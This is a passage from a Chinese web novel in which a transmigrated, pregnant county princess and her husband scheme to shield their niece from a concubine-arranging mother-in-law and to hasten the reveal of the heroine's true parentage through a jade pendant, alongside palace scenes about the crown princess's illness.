前几日,窦绍终于争取到了睡床的权利,但卫姜有条件,两人画了一条楚河汉界,不能越界,当然不包括她。
“我觉得还是生个女儿好,我们为她细细挑选夫家,选一个你这样慈爱明理的婆婆。”
卫姜不可置信地看着他,你认真的?
她的名声!京城出了名的刻薄婆婆,他竟然给女儿选一个这样的,脑子没事吧。
窦绍显然也意识到这话说的不妥,立马解释道:“我是说现在的你。”
“还是生个儿子吧。”他这安慰成功地让她更想生儿子了。
“其实……我们可以让她招赘,这样她就不用离开我们了,你也就不用担心她遇人不淑,让婆家苛待了。”
窦绍越想越觉得这主意甚好,他的家业凭什么都给老大,女儿自然也要有一份。
他畅想的越来越好,卫姜竟然觉得是个好主意了。
她的手碰到了肚子,有些硬但很平坦,她就忽然醒了,这个时候想这么多是不是有些早。
“还是说说你侄女吧。”她跟苏国公对话只怕是治标不治本,内宅毕竟是严氏的天下。
就怕你有张良计,她有过墙梯,这严氏一番规矩体统下来,只怕苏国公都要败下阵来。
最好给她找些事情做,让她忙起来自顾不暇,这样就没时间找窦明麻烦了。
卫姜脑子忽然就灵光了一下,想到了葛月,皇后可真在查葛月。
她是不是可以做点文章,何况她本来就想让早点走剧情。
她眼睛滴溜了一圈,凑近窦绍那边:“你知道吗?葛姑娘有块玉佩和皇后娘娘的一模一样,难道葛姑娘的身世和严家有关吗?”
其实她根本没见过两人的玉佩,但不妨碍她说的像模像样,没办法,书里描写的太详细了。
他扫了一眼被她压在身下的楚河汉界,又看向她那双格外明亮的眼睛,眼底闪着精光。
他是知道葛月进京是为了查明身世的,当初他们在义安县查人,他还写了信给同年帮忙,自己是明明刚刚两人还在说窦明的事情,怎么她忽然就又说起严家和葛姑娘了。
窦绍心中一凛,忽然想到了严氏,难道……
他没有错过她嘴角噙着的那抹坏笑。
窦绍:“我去查查。”
卫姜就等着他这句话呢。
20. 第 20 章
次日
听说苏家派人去阳武侯府接窦明回家操持纳妾之事,卫姜立马就派人把她接到了自己家,她倒要看看严氏是不是要来她家接。
那林氏看着是个厉害的,其实软趴趴,不过几句话就被苏家的人拿捏住了,竟然真的准备让女儿先回去了。
幸好卫姜到的及时,看着窦明那伤心的样子,“放心吧,你叔父会给你撑腰的,你还有我们啊。”
窦明想到因为自己的事情让父母受气,又要叔父一家为她出头,她就惭愧的很,都是自己不争气,要是她早点生了孩子是不是就不会这样了。
“事情不是这样说。”卫姜看她钻了牛角尖,立马出言安慰道:“你这才成亲多久,他们苏家就等不及了,我看你就是进门就有了,那严氏又有其他的借口给她纳妾。”
比如说,她有了孩子便不能更好的照顾丈夫,给窦明纳个小姐妹来帮衬她。
“你那婆母是不是得了不给人纳妾就不舒服的病?”听说苏国公妾室可不少。
窦明顿了一下,有些哭不下去了,她满眼疑惑,还有这个病?
卫姜继续猜测道:“或者她是自己感情不顺,就见不得儿子儿媳很恩爱?”
在现代这种婆婆也多的很,她淋过的雨就要把儿媳的伞给撕开。
窦明是晚辈,是在不好和卫姜讨论公婆的屋里事,只是含糊道:“公公对婆母也很敬重。”
只是公公好像很少会去正房,因着婆母热衷给公公纳妾,她一直以为是婆婆贤惠,觉得自己年纪大了,不想侍候丈夫。
卫姜切了一声,若她真这么贤惠,更加能说明两人没感情,看看原主就知道女人的占有欲了,谁会容忍丈夫睡别的女人。
圣人都办不到。
“你叔父明日会去找苏国公聊一聊,好歹也帮你撑过这调养身子的时间,只是……”卫姜神色有些郑重,“你也要做好准备,你公公自己就有一堆的妾,他不一定能体会到女子的难处。”
说不定他觉得这不是什么大事,父母的言行也会影响儿子,那苏世子又是什么想法。
就算这一年半载的不纳妾,之后呢?严氏再提出窦家就没有立场继续反对了。
“他不会的……他要是真的也想纳新人,那……”她咬了咬嘴唇,“那我就和他合离。”
她不能因为自己的事情让窦家丢尽脸面。
她也是父母掌珠,她不能让自己陷在苏家枯萎朽烂,让父母亲人为她担忧。
但她信任丈夫,世子答应过她的,两人心意相通,恩爱绵长。
她的言语中都是对丈夫的信任,说出的合离更像是威胁赌气,卫姜摇摇头,苏通会怎么选,要看他怎么做。
若只是一味地言语反抗,却没有任何实质的行动,只让自己的妻子顶住母亲的发难,那可就是妥妥的渣男了。
窦景和陶氏带着孩子回陶家小住,府里就只有卫姜和窦绍两夫妻,今日还加上窦明。
都是自家人,晚膳也就一起用了,饭菜刚摆上来,就听说苏通来了。
窦绍让两人先吃,他去了前院见人。
窦明有些心不在焉,心里隐隐害怕丈夫也是来接她回家的,又担心叔父会不会责骂他,她挑着碗中的米粒,一粒粒数着。
卫姜如今是孕妇不经饿,正埋头干饭,窦绍却带着人回来了。
苏通提着个小包袱,笑的有些难为情,他不称呼卫姜县主,却跟着窦明叫叔母,拉进彼此的关系。
“叨扰叔母了,我也是去了岳母那里才知道阿明来了这里,只怕要叔父和叔母收留我们夫妻二人一些日子了。”
窦明有些愣,既然哭了起来,她没想到丈夫竟然也会跟着自己离开,苏家可是他的家,那里有父母长辈。
他会被人议论,说不定还要被人指责不孝,他这是拿自己的前程在赌。
他怎么这么傻!
窦明泣不成声扑进了丈夫的怀里,有长辈在场苏通脸都红了。
“你……你别这样,别哭了,我都想好了,我准备谋个外任,到时候我们去外地过自己的日子好了。”
苏国公可就只有他一个儿子!婆母把他看成眼珠子,怎么会同意。
窦绍轻咳了两声,惊醒了这对鸳鸯,窦明有些不好意思地擦干眼泪。
卫姜吩咐人添了碗筷,又让两人坐下用膳。
窦绍:“谋外任这事你还是要和你爹娘商量好,不可冲动。”
苏国公对这独子到底是个什么安排,窦家不好干涉。
苏通和窦明的脸色瞬间低落,见叔父都反对,自然知道怕是难,没有苏国公松口,窦绍不帮助运作,就凭苏通自己,怕是办不成。
卫姜咬着筷子,插话道:“你们就没有那种短期去外地公干的差事?”
几人看向卫姜,窦绍瞬间明白了她的意思,轻轻一笑。
卫姜也是看苏通算是个有担当的男人,也是为了不让窦明伤心,这才愿意出个主意的,她实在是对窦明这姑娘有些喜欢。
“你的意思是……”窦绍问她
卫姜指着苏通:“让他出去躲一阵好了。”
这样也不会落人口实,坏了窦明的名声,说她拉着丈夫长期住在娘家,对公婆不孝顺,也能避开严氏的纳妾行动。
夫妻俩都不在家,难道严氏还要强行给儿子纳妾,这传出去她贤惠慈爱的名声可就保不住了。
窦明和苏通只听到能解眼前困局,两眼一亮,目光灼灼地看着窦绍。
这事只能靠窦绍帮着安排了。
窦绍淡定喝了一口汤,让他们先吃饭,“我来安排。”
苏通和窦明如释重负地笑了,苏通端起茶盏,以茶代酒要谢卫姜:“谢叔母疼爱我们夫妻。”
窦明也起身跟着丈夫一起敬酒。
“不客气。”卫姜笑着和他们碰了杯子,吸了一口茶,啊的一声,好像她喝的真是酒一样。
自从她有孕以后,饭桌上就没有见过酒,就连果酒都不让上,卫姜其实也不敢碰酒了,一次酒后失态后果还在肚子里揣着,哪里还敢喝,她也就是过过瘾,可苏通不知道,还以为她是馋酒了。
“等叔母把弟弟生下后,我给您寻摸几坛好酒来。”
“不必,也不用谢什么”卫姜敬谢不敏。
窦绍低头不语,不紧不慢用膳,卫姜瞥了他一眼,没有发现他在偷笑。
用完膳后,窦明便带着丈夫回了东苑的客房,窦绍去了前院,卫姜留在房里翻看近日送来的请帖。
虽然都知道她在养胎,可那些人家还是依旧会把宴席的帖子送来,当然卫姜也从来没去过。
可这次她想去,主要还是想见一见葛月,她虽然出主意把苏通派去出差了,但还是不稳妥,得从根源上把严氏摁下去。
女主身世揭开,苏家必然乱成一团,严氏有了新女儿哪里还有精力管儿子屋里事。
就是有些对不住苏青了,不过这身世迟早会被揭穿的,她不过是推动着提前而已,而且就算揭破身世,苏家也依旧善待她,很是宠爱她,为此女主可受了不少窝难气。
卫姜选了一张葛月一定会在的人家,而且就在明日。
……
次日,窦绍和卫姜同时出门。
贺家没想到卫姜竟然会来,一时有些惊讶,贺家众人迎了出来,里面跟着的就有葛月。
“葛姑娘,好久不见了。”卫姜亲热地拉着葛月的手。
贺家的人没想到这女子在皇后面前有脸面,就连县主都
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对她青睐有加,心中都在暗暗思忱:此人不简单,不可得罪。
贺家大夫人给女儿使眼色,让她多多亲近葛月。
在不远处有亭子里,几个小姑娘留意到了这边的动静,其中一人沉了脸色,撇嘴道:“小人得志。”
她看向角落里低头饮茶的绿衣姑娘道:“卫巧珍,那可是你亲姑母,你怎么不过去亲近亲近。倒让个野丫头占了便宜。“
卫巧珍被点名也不恼,只是温和笑笑:“葛姑娘合姑母眼缘吧。”却没有一丝要起身的意思。
旁边穿红衣服的女孩噗呲一声笑:“妍姐儿你就别促狭了,你让她过去不是害她吗?”
谁不知道县主顶看不上这庶出的娘家侄女,对她比外人都不如,凑上去也只会讨个没趣。
和卫巧珍坐在一起的女孩子脸上闪过不忿,开口道:“葛姑娘是信王的恩人,又刚刚给皇后娘娘瞧好了病,县主就是多说几句话又怎么了?我可听说信王对这恩人可看重极了,好吃的好玩的都不知道送来了多少,就连贺二都有些眼红呢。”
她眼神玩味打量着苏妍,她苏妍不是自视信王小姨子?怎么不去管管信王呢?
“你……”
苏妍脸上一变,就要去找人麻烦,却不想那姑娘也不是个怕事的,两人眼看就要顶上,却分别被两拨人分开了。
小姑娘们闹起来的时候,有一人悄悄地退出了亭子,她就是赵慧娘。
她听娘说过县主不好惹,自然也不敢去亲近,不过苏妍的话也有道理,县主是长辈,她应该主动去问好的。
她去了戏楼,却没有找到卫姜,也没有看到葛姑娘,她又去了后院,走了好几个地方都没有找到人。
最后她都放弃了,长廊坐下,却不想看见县主和葛姑娘在前面说话。
看两人聊的很好,赵慧娘不敢贸然过去,只能先等在这里。
“葛姑娘这玉佩眼熟。”卫姜有些不确定的语气,眼睛很是好奇地看向葛月的衣襟。
其实葛月的玉佩戴在脖子上藏的很严实,卫姜压根看不见长啥样。
“县主见过这玉佩?”葛月脸上一喜,赶紧把玉佩取下,递上去给她看。
听养母说,这是她亲人留给自己的唯一物件,她却不知道有什么来历。
葛月满脸期盼地看着卫姜,卫姜装模作样细细打量,翻来覆去的摸着:“是有些眼熟,我应该在哪见过?”
“不过应该时间很久了,我也不太记得了。”卫姜把玉佩递回给她。
葛月有些心急,带着恳求道:“县主能好好想想吗?这个玉佩关系到我的身世。”
见县主有些诧异,她连忙把玉佩和身世的事情说出来,一贯清冷的脸上带着小心翼翼。
卫姜都有些不忍心了,她装作沉思:“我应该是好早前见过,应该是在宫里见过。”
宫里,葛月心跳的有些快,只听卫姜忽然道:“我想起来了,皇后娘娘有一块玉佩和你的这块模样有些像,不过也就是物有相似罢了”
葛月却不信会这么巧,皇后娘娘,她会是自己什么人呢?葛月脑子里都乱糟糟的了,可如今她已经不给皇后治病了,也没有机会问问皇后娘娘这件事。
葛月有些烦躁,怎么县主就不能提前一些日子告诉她这个发现呢?
牵扯到皇后娘娘,她该找谁帮忙呢,葛月把目光对上卫姜,下一刻她又摇头,这位县主可不好打交道,牵扯到宫里,她有更好的人选。
葛月收回目光,附和道:“那应该是物有相似,是我心急了。”
卫姜见她眼神坚定,知道她已经有了主意。
就由让信王帮她查吧,查到严家,那查到严氏也就迟早的事。
也不知道窦绍那边进展如何了?
21. 第 21 章
保国公苏府
一大早,严氏眼神冷的要杀人,她盯着低下的人,切齿道:“你说什么!”
那人头都不敢抬,自家国公爷办出这事,也不怪夫人生气。
“国公爷让我带朱姑娘给您奉茶,国公爷还让小的带话,说:辛苦夫人操持。”
严氏嘭地扫落了案上的茶盏,碎片划过朱氏的手,划开了一道小口子,她惊呼一下。
严氏转头阴狠地扫了她一眼:“贱婢。”
这朱氏本是她给儿子准备的妾室,窦氏拐带着儿子回了娘家,以为她就没办法了,她转头就把这朱氏也一顶小轿接了回来。
昨日窦绍见了国公爷她也是知道的,她正等着国公爷来找她呢。
却不想一大早,他派人来告诉她,朱氏他享用过了,她又亲手给他送了一门妾室。
他怎么能这样对她!她这些年做的还不够好吗?他怎么就不能原谅了!
眼看严氏就要失控,她身边的大丫头连忙让人都散了,这些人前脚刚走,后脚屋里就响起了噼里啪啦的声音。
朱氏瑟缩了一下,差点摔倒在地,她是被吓得,怎么往日对她温和慈爱的夫人像变了一副面孔一样。
她知道世子不喜欢她,不愿意要她,可她家需要夫人给的那笔钱,她不能被退回去,所以昨日国公爷找过去的时候,她也就顺水推舟地从了。
她想着夫人最是贤惠大度,反正都是做人妾室的,在夫人手下讨生活总比在悍妒的少夫人手下容易些。
可……真的容易些吗?刚刚夫人看她的样子好像要撕了她一眼。
“去叫通儿回来。”严氏声音很大,带着些疯狂。
“夫人,世子今日出京了……”屋里响起侍女劝诫的声音,声音压的有些低。
“朱姨娘,国公爷说了,今日晚上来您屋里用膳,你好好准备着吧,小人前面还有事忙,就不送您回去了。”
那人一脸恭维地笑,好像没听到正房的动静一样,朱氏有些恍惚地点头。
见朱氏走了,他抚了抚衣袖,一改在正院时的卑弱朝前院走去。
“事情办好了?”苏国公心情非常不错,竟然在作画。
他躬身回了个是,抬头觑了一眼主子,然后才试探着开口道:“夫人好似有些生气,国公爷要不要去看看。”
应该说是非常生气,已经很多年没见过夫人发火了。
苏国公嗤笑一声,有些讶异地看向跟了自己很多年的心腹,“你让我去看她?你当老子以前说的话是放屁!!她也配,这次只是给她提个醒,再有下次,城外的玉清观还缺个主持。”
那仆人立马收声,也不敢劝什么,国公爷的脾气从来没改过,夫人企图软化国公爷的那颗心,怕是难哦。
“安顺,过来看看我今天的画如何?”
那叫安顺的男人躬身走进,顺着苏国公的视线看向案上的画作。
“出污泥而不染,濯清涟而不妖。国公爷的画进益不少。“
污浊的淤泥中一朵纯洁白莲端正盛放,这一朵莲苏国公已经画了十几年,从最开始勉强瞧出是个画,到如今的栩栩如生。
只有安顺知道他为什么要画这个,恭维这句话他也说了无数次。
苏国公举起画作欣赏了片刻,随后把它凑近暖炉,一把火烧成了灰烬。
“脏了就是脏,洗的再干净也恶心。”
苏家又派人来接窦明了,这次却是苏家老夫人身边的人亲自来接,眼看就要端阳节了,窦明还住在娘家,确实会让人议论。
那位老成持重的妈妈笑着对卫姜道:“老夫人实在是想少夫人的紧,而且夫人病了,老太太年纪大了,家里那些事情还得少夫人回去操持呢?”
苏家老太太一向只管吃斋念佛,闲事一件不管,这次只怕也是苏国公的意思,看来苏国公已经压制住严氏了,听她这话里的意思,国公爷还准备让窦明掌家,这是给的补偿吗?
卫姜没有搭她的话,而是笑着问起了严氏的病:“不知道重不重?我们也没听到消息。”
那妈妈脸色都变了,以为卫姜是觉得她故意借口夫人病了,让少夫人回去侍疾。
“不是什么大病,我们这些做奴仆的私下猜测着,大概是国公爷新纳了位朱姨娘,夫人也许累着了吧。”
那妈妈还故意咬重了朱姨娘三个字。
窦明没掩饰住自己的惊讶,拿帕子捂住了嘴巴,卫姜却扑哧一声笑了出来。
“恐怕你们家夫人是喜的过头了吧,哎,满京城也就她最贤惠了,我这人一辈子都学不来。”
听了卫姜的话,那妈妈脸上表情精彩纷呈,满京城也就眼前这位敢明着嘲笑她家夫人了。
晚上窦绍回家,没有看到窦明,便知道苏家来过人了。
“明姐儿回去了?”他有些意外,卫姜竟然这么痛快让明姐儿回了苏家
卫姜点头,“她公公给她添了位小婆婆,她不得回去看看嘛。”
这话说的促狭,窦绍摇头。
“哎,苏国公可真是位奇人哈。”卫姜越想越觉得好笑。
什么脑子才会想出这种绝主意,难道是觉得,人来都来了,儿子不要他要了?
窦绍还没明白说的是什么,等卫姜把苏家发生的事情一说,他一时有些无语。
那日苏国公只说让他放心,他来解决,可没想到他是这种解决办法啊,可真是……难评。
卫姜挺想知道严氏当时的反应,一个那么贤惠的人竟然病了,八成是被气的。
“哎,那苏国公是个什么人?挺好玩的。”处置事情的手段是暴力又直接,她觉得苏通倒是有点像他,不过葛月性子不太像啊。
书中女主是个足智多谋,蕙质兰心的姑娘,难道是随了严氏?
“你叫谁啊?”窦绍发现她好像习惯用哎来称呼他了,只要两人相处时没有外人,她都是哎来哎去。
见她脸上的笑一下子收的干净,窦绍心里又后悔,他不该说这句话。
“这里有其他人吗?故意的吧窦绍,是不是想吵架?”卫姜坐直,板起腰已经把气势架起来了。
原主以前都是称呼他二爷,卫姜却叫不出口,刚开始是觉得像叫自家二爷爷,如今却是觉得别扭,还有一丝暧昧。
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毕竟现在两人关系不太清白,中间有条人命,更加需要彻底的划清界限。
窦绍连忙去给自己倒了杯茶,端起来刚要喝一口,又发现那目光还随着他,他又放下去给卫姜端果汁。
不仅尴尬的时候人会特别忙,就是心虚的时候,人也会忙。
卫姜喝了一口果汁,窦绍松了口气,看来不生气了,他连忙说个她会感兴趣的话题。
“之前在义安县的那稳婆也查清了,她有个远房的姨妈曾经在严家做事……”
卫姜果然感兴趣,眼睛一下子都亮了,人也凑近了些,不在时刚刚防备的姿态,见他停了下来,立马推了他一下:“继续啊。”
窦绍低声笑了一下,继续说到:“她的有个姨表姐后面随主子陪嫁去了苏家。”
卫姜的表情没有一丝意外,好像早就知道这件事一样的平静。
“我们得把这件事告诉葛姑娘吧。”过了一会她又摇头,“还是告诉信王好了,你有没有什么办法悄悄地告诉信王,别让他们知道是我们说的。”
窦绍好似不解一样:“你不是想帮葛姑娘吗?为什么不能直接说。”
卫姜愣了一下,立马就想到了理由:“毕竟是葛姑娘的私事,我们私下查别人的事已经很不好了。而且让她以为是信王查到的,岂不是更感激信王,两人感情也会越来越好啊。”
窦绍先是点头应,然后疑惑问道
“你觉得信王也喜欢葛姑娘?”
也?卫姜看向他,是,书中不止信王喜欢女主,他可也是默默暗恋的,难道现在就暗恋起来了。
卫姜打量他的眼神越来越怪,这才窦绍有些不悦,她以为自己是什么人,那葛姑娘可是和景儿差不多大。
自己已经尽可能避免和葛姑娘有接触了,她为什么会有此疑心,难道是有人在她面前嚼舌根?
“贺家三公子心悦葛姑娘,听说还闹到了贤妃那,京城不少人都知道,可能你这些日子在家养胎所以不知道,因为这件事葛姑娘不愿意再住在贺家,信王让她搬去了自己刚刚修好的王府。”
卫姜没料到还有这一出,女主最终还是跟剧情一样,住进了信王府。
贺家三公子她见过一面,长得不咋滴,还有点胖,女主怎么可能看的上,要知道……
卫姜打量了一下眼前人的颜值,要知道女主可是连他都舍弃了的。
窦绍咬紧了牙槽才没有发怒,但脸色却不好看,他带着冷意问道:“你很看好葛姑娘和信王?”
自然,这是男女主啊。
卫姜有些奇怪看着窦绍,他好好地发怒干什么,还真吃醋了?
好啊,她大着肚子呢,他就这么肆无忌惮了,不掩饰了?
男人最容易在妻子怀孕的时候出轨,古今同理!
渣男!
“信王不可能娶那个葛姑娘的,就算那个葛姑娘是苏家的女儿都不可能。”
那位葛姑娘太精明,信王却是简单的人,两人不相配,宫里也不会同意这桩婚事的。
他怎么猜到葛月是苏国公的女儿?
卫姜惊呆了,这人也太聪明了吧!
22. 第 22 章
要把消息透漏给信王,这事对窦绍来说很容易。
之前他给在义安做县令的同年去过信,信王还在托他继续查找,只要把消息给同年,信王自然就知道了。
至于保密,这不是什么难事,那同年多年来一直做着小县令,如今搭上了一位亲王和一位朝中重臣,他求之不得呢。
虽然接下来的事情卫姜说不用他帮忙了,但他并没有把人手撤回来,相反,他派人去了葛月的老家。
窦绍觉得卫姜确实很在意那位葛姑娘和信王,特别是那位葛姑娘,好像特别在意她的举动,甚至很了解这个人。
说不定通过葛月能摸清她的底细。
这一日,卫姜又被召进宫了,皇后对葛月的那块玉佩很在意。
她来的时间不巧,坤宁宫里不但皇后在,还有贵妃、贤妃等后宫嫔妃,就连太子妃都在。
皇后一时无法单独问她,只能耐着心和其他人说话。
卫姜留意到太子妃脸色不太好,心中忽然有了个主意。
皇后一直拉着她不放,不就是因为葛月不能进宫吗?卫姜不想把自己牵扯进去太多,也不想卷进苏家的事情里。
不如就让皇后和葛月自己去查吧。
“我看太子妃脸色不好,可是身子不舒服?”
太子妃温婉地笑道:”老毛病了,不碍事。“
太子妃身子一直不好甚至与子嗣有碍,这是大家都知道的事情,所以对她日常病歪歪也习惯了,今日卫姜忽然提出来,皇后也就留意到了她的病容。
“不舒服你就先回去吧,让太医给你看看。”皇后很是宽和地道。
太子妃起身道谢:“母后慈爱,儿臣已经看过太医了,也在用着以前的药。”
说到病情,太子妃神情有些低落,脸上满是愁容,却在强颜欢笑。
卫姜:“病来很磨人,既然常用的药不管用,太子妃也该多找几个大夫看看,。”她合掌,似忽然想起一样:“不如太子妃也召那葛姑娘进宫给你看看,说不定就治好了呢。”
皇后眼睛一亮,脸上闪过一丝意动,虽然很快就不见了,但太子妃还是留意到了
她看了一眼今日有些奇怪的新宜县主,她这病也不是一日两日了,为何今日县主就想起让她召葛姑娘看病呢?
难道是皇后要见葛姑娘?
太子妃心里转过几个弯,然后有些不好意思笑道:“母后,不知召葛姑娘进宫可妥当?”
人人都知道她想把身子治好,也都没有怀疑
皇后笑道:“这有什么不妥当的,你也太小心了。”
她对旁边的宫女道:“快让人现在就把葛姑娘请进来。”
一旁的贤妃撇了下嘴,阴阳怪气道:“她才多大年纪,医术能有多好,你们也太抬举她了。”
众人不语,贺家的事情知道的不在少数,如今信王又把人接进王府,贤妃对葛姑娘有意见也正常。
贵妃喝了一口茶,眼皮轻轻掀起,淡淡地打量着众人。
葛月来的很快,她今日穿着一件碧色衣裳,玉佩挂在腰间,很是显眼。
皇后的眼神时不时地落在玉佩上,又留意观察葛月的相貌,越看心中越惊,只是心中还稳的住。
太子妃坐在皇后下首,为了方便诊脉,葛月蹲在旁边,这样一来,皇后就更能看清玉佩的模样了。
卫姜的眼神一直都在留意皇后,见此心中已经有数了,若是葛月的身世由皇后揭破,是不是对剧情更起推动作用
“您的病情有些重,或许能用家师传授的针法试试,但小女没有把握,还有行针时会很痛苦,要不要试试太子妃您决定。”
葛月声音没什么感情,却让太子妃有些激动。
之前太医连试试的把握都没有,她然说或许能治好
她眼眶湿润,嘴唇有些颤抖,她握住自己的双手,几次要说话都没有声,最后她重重点了个头。
“今日来不及准备,明日我午时去东宫给您行针。”
太子妃这才能开口,声音带着沙哑:“我派人去接姑娘。”
葛月来的快,走的也快,好像她只是真的来看病人,而皇后也真的只是满足太子妃请求。
皇后没有找机会单独见葛月,这才卫姜有些意外。
出宫的路上,太子妃赶了上来,拦住了卫姜
“我要多谢县主,我……”太子妃蜡黄的脸上竟然带了丝红晕,这是她心情激动所致。
卫姜见她有些激动,有些明白她的来意,笑着摇头道:“太子妃谢错人了,为您治病的可是葛姑娘。”
太子妃:“她我自然是要重谢的,县主我也要谢。”
她本已经死心了,没想到竟然还能看到希望……要不是卫姜今日提议让她找葛姑娘,只怕她永远都不会起这个念头。
这些年她不知道吃过多少药,受过多少苦,可这病就是治不好。
她原本想着就这样吧,可有一个人她舍不得,她想给他生儿育女。
卫姜其实心里也有些高兴,书中没有葛月给太子妃治病这一幕,太子妃最后病逝了,若是因为她的插手能挽救一条性命,其实也挺好的。
卫姜是很相信女主能力的,她既然说试试,那么就有七八成的把握,女主从不打没把握的仗。
“这是太子妃自己的运道,您有个有福气的人,所以老天派了葛姑娘来给您看病。”
太子妃只当她谦逊,她捂住卫姜的手,“反正你这个情我记下了。”
“我跟着殿下也叫你一声阿姜姐姐吧,阿姜姐姐,真的,我好高兴,哪怕最后治不好,我也很高兴。”
太子妃说着眼泪就流了出来,卫姜有些慌了,连忙帮忙擦拭:“一定会治好的,会治好。”
太子妃忽然就失控地抱着她哭了起来,把她这多年来的心酸、委屈、惶恐和自弃都通通发泄了出来,卫姜的半边衣衫都被她哭湿了,没办法她只能跟着去了东宫换衣裳。
太子听到消息急匆匆赶了回来,一脸的担心着急,步伐竟有些惊慌。
刚稳住的太子妃见此又红了眼眶
“怎么了?“太子急的围着她转,报信的人只说太子妃见了大夫后就抱着县主大哭,他也不知道到底怎么了?
他太害怕是她的身子又有什么不好了?
“没事,是好事。”卫姜把发生的事情说了一遍。
太子立马也跟着高兴起来,“确实是好事,多谢阿姐了。”
说着太子就要给她行礼,吓得卫姜立马跳了起来,这可不行啊
太子也大笑,也就没有继续吓卫姜了,最后只是拱拱手,几人刚坐下,东宫的人就来通传说是潞王和信王来了。
太子:“定是我来的急让他们担心了。”
太子妃脸上有些不好意思:“都是我没稳住。”
“大哥,嫂嫂怎么样了?”
还没见到人,信王的声音已经先传进来了。
迎两个弟弟担心的目光,太子笑着摇头道:“她没事。”
太子妃有些赧然,还好太子没有说其他。
信王夸张地松了口气:“大哥走的那么急,连父皇吓了一跳。”
太子妃听了脸都红了,有些担心地看了一眼太子。
潞王扯了一下信王:“大哥别听他胡说,父皇是担心嫂嫂身子,也没有他说的那么夸张,嫂嫂身子没事就好。”
转身又拉了一把信王,见过卫姜:“新宜县主。”
卫姜刚起身要给两人见礼,立马便被潞王阻止了,“县主有孕在身,这些虚礼就免了,都是一家人。”
信王觉得二哥说的很有道理,乐呵呵点头:“就是就是。”他见太子妃眼眶红红,还是很担心:“嫂嫂为何哭了。”
一副打破砂锅问到底的架
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势,潞王一脸的尴尬。
太子看了一眼太子妃,不由地摇头,这个三弟还是这个性子,一根筋的实诚人,他只是关心嫂嫂到底发生了什么,为什么会大哭。
算了,都是一家人也没有什么不能说的,便把皇后宫里发生的说了。
“阿月医术竟然这么厉害。”信王一脸懊悔,“我怎么就没想到,应该让她早点给嫂嫂看看。”
说不定嫂嫂身子能早一点治好呢。
太子:“这怎么能怪你,宫里这么多厉害的太医都束手无策,你没想到也自然,如今也不晚。”
太子妃也附和道:“是啊,葛姑娘如今是我的大夫了,三弟你可要好好替我们谢谢她。”
信王摸头憨笑:“这是自然,大哥大嫂放心,阿月是我的好友,她一定会尽全力治好嫂嫂。”
潞王在一旁揶揄:“哎呦,我们信王殿下可真厉害。”
信王又挠头了,“二哥又笑我。”
在场的人哄然大笑,几人叙了一会话,眼看天色不早,几人便告辞了。
“我送县主出宫吧。”信王停下了脚步。
出了东宫,信王应该和他们分开,如今他还住在宫里。
“怎么?三弟今日回王府?”潞王好奇问道。
信王摇头:“我就送一送县主。”他那神色,把还没有显肚子的卫姜当什么易脆物品。
“阿月住在我的王府,我就不回去了,对女子来说名声更是重要些。“他这幅郑重的神色倒是让卫姜多看了一眼。
不愧是男主,这人品是真不拉后退。
潞王:“三弟长大了。”
“你也不用送了,我和县主同路,我来送吧,县主也是我的表姐,你就放心吧。”
信王恍然,他怎么忘了二哥已经住在王府了,潞王府和窦府倒是相隔不远。
“那……”他看向卫姜。
“信王不用担心,有潞王呢。”卫姜对他点头。
信王:“行,那我就不送了,刚好我也去看看母妃。”
潞王和他的母妃性子不一样,贵妃性子严谨,平日里不苟言笑,潞王却是一张笑脸,君子温润如玉,虽是亲王但丝毫没有架子。
还很细心,体谅卫姜有孕,走的很慢,两人刚出宫门,就看到马车旁站着一个人,见他们出来,他忙赶了过来。
“窦大人是来接表姐的吧。”
“见过潞王。”窦绍给他见礼。“多谢潞王对内子的照料。”
潞王温和一笑:“这也是本王的表姐,窦大人太见外了。”他脸上有些赧然,有些不好意思道:“其实我也有别的目的。我听说大人棋艺很好,可惜实在是苦无机会,不好贸然上门讨教,我原准备送表姐回府,能找个机会和大人手谈一局。”
早就听说潞王迷上围棋了,没想到是真的。
窦绍:“随时欢迎殿下,不如今日如何。”
潞王看了一眼卫姜,忍痛拒绝了,“表姐今日累了一日,还是改日吧,不如后日如何?”
果然是棋痴,后日是休沐日,看来他是准备和窦绍下上一整日了。
“可以。”
三人在宫门口分开,窦绍按照礼制让潞王先行。
卫姜挑开车帘看着潞王的马车,这潞王在书中出场不多,但是个透明的老实人。
又是一个朔日,皇后召了娘家人进宫,严氏对外称病了一段日子,这还是她病好后第一次进宫。
皇后单独留下了她,又屏退了其他侍候人,屋里只剩下她二人,严氏有些不安。
皇后脸上看不出什么,很是平淡,她轻轻地把茶盏搁在案上,随口问了一句:“你的玉佩呢?”
声音很轻,却让严氏的脸上一下子变得煞白,没有一丝血色。
她惊恐地看着皇后,整个人都有些微微地发颤。
皇后看她这样子瞬间心都凉了。
23. 第 23 章
七月的太阳都能把石头融化,卫姜肚子已经显怀,看着日渐臃肿的身子,她也越来越烦躁。
可能上一刻她还挺开心的和肚子里的孩子打招呼,下一刻她就陷入深深的焦虑中,人家都说产后抑郁,她还没生呢都快把自己整成蛇精病了。
这一切窦绍都看在眼里,明明她接受了这个孩子,甚至很是疼爱,她那些慈爱的目光不是假的,可为什么有些时候,她又会出现另一种情绪,懊悔,痛苦,甚至还带着害怕。
他不想自己的孩子还没有降生就被自己的亲母不喜,只能设法让卫姜开怀,事事以她为先,见她喜欢孙子,就不顾儿子反对,把孙子接来正院给卫姜解闷。
当然,是白日,晚上还是送回去。
这让刚刚也当了父亲的窦景很是不满,觉得父亲把自己儿子当逗闷的玩物,要知道母亲最近喜怒不定,万一她嫌弃宝哥儿怎么办?万一母亲罚了宝个儿怎么办?
他的这些担心说给妻子听,陶氏却用一种他有病的隐晦眼神打量他,窦景沮丧极了,觉得妻子都不知他了,妻子真是心大,母亲不过对她好些,给些东西,她就把之前受过的哭给忘了。
自己的儿子自己疼,窦景绷着脸去了前院找父亲说理,被窦绍三言两语顶了回去就算了,他自己还被打发去了书院苦读,窦绍准备让他参见来年大比。
这么突然的吗?窦景一下子懵了,他是来解救儿子出水深火热,不是想把自己埋坑里的。
见父亲一脸坚决,窦景就知道他不会心软,他眼睛转了一下想起了歪主意。
窦绍警告他:“别打歪主意,你已经耽搁的够久了,你岳父也和我提过想让你来年下场试试,你娘最近憋着火气你也是知道的,惹了她那我可就不讲父子情分了。”
窦景心都凉了,他又讲过父子情分吗,春闱在来年,可不足半年了,他要想在春闱拿个好一点的成绩,以后的日子可就不能常回家了。
他和妻子才团聚了多久,期间阿陶还做了个月子,窦景一脸控诉地看着窦绍,可也不敢多说什么话,他知道父亲的狠心和手段。
